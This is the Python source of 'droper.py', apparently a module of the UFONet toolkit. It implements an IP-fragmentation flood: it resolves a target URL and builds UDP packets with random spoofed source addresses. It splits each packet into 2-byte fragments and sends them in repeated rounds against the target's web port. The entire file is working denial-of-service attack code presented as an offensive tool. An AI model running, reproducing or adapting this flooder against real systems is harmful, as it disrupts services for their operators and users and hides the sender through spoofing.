droper.py 3.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. try:
  12. from urlparse import urlparse
  13. except:
  14. from urllib.parse import urlparse
  15. try:
  16. from scapy.all import *
  17. except:
  18. print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
  19. sys.exit(2)
  20. # UFONet IP FRAGMENTATION flooder (DROPER)
  21. def randIP():
  22. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  23. return ip
  24. def randInt():
  25. x = random.randint(1,65535) # TCP ports
  26. return x
  27. def droperize(ip, sport, rounds):
  28. n=0
  29. try:
  30. for x in range (0,int(rounds)):
  31. n=n+1
  32. s_zombie_port = randInt()
  33. IP_p = IP()
  34. IP_p.src = randIP()
  35. try:
  36. IP_p.dst = ip
  37. except:
  38. print("[Error] [AI] [DROPER] Imposible to resolve IP from 'target' -> [Aborting!]\n")
  39. break
  40. TCP_l = TCP()
  41. TCP_l.sport = s_zombie_port
  42. TCP_l.dport = sport
  43. try:
  44. payload="A"*254+"B"*2 # 256b = 33frags
  45. packet=IP(src=IP_p.src,dst=IP_p.dst,id=12345)/UDP(sport=TCP_l.sport,dport=TCP_l.dport)/payload
  46. frags=fragment(packet,fragsize=2) # fragment size
  47. for f in frags:
  48. send(f, verbose=0)
  49. print("[Info] [AI] [DROPER] Firing 'deuterium bosons' ["+str(n)+"] -> [DROPING!]")
  50. time.sleep(1) # sleep time required for balanced sucess
  51. except:
  52. print("[Error] [AI] [DROPER] Failed to engage with 'deuterium bosons' ["+str(n)+"]")
  53. except:
  54. print("[Error] [AI] [DROPER] Failing to engage... -> Is still target online? -> [Checking!]")
  55. class DROPER(object):
  56. def attacking(self, target, rounds):
  57. print("[Info] [AI] 'IP FRAGMENTATION' (DROPER) is ready to fire: [" , rounds, "deuterium bosons ]")
  58. if target.startswith('http://'):
  59. target = target.replace('http://','')
  60. sport = 80
  61. elif target.startswith('https://'):
  62. target = target.replace('https://','')
  63. sport = 443
  64. try:
  65. ip = socket.gethostbyname(target)
  66. except:
  67. try:
  68. import dns.resolver
  69. r = dns.resolver.Resolver()
  70. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  71. url = urlparse(target)
  72. a = r.query(url.netloc, "A") # A record
  73. for rd in a:
  74. ip = str(rd)
  75. except:
  76. ip = target
  77. if ip == "127.0.0.1" or ip == "localhost":
  78. print("[Info] [AI] [DROPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  79. return
  80. droperize(ip, sport, rounds) # attack with DROPER using threading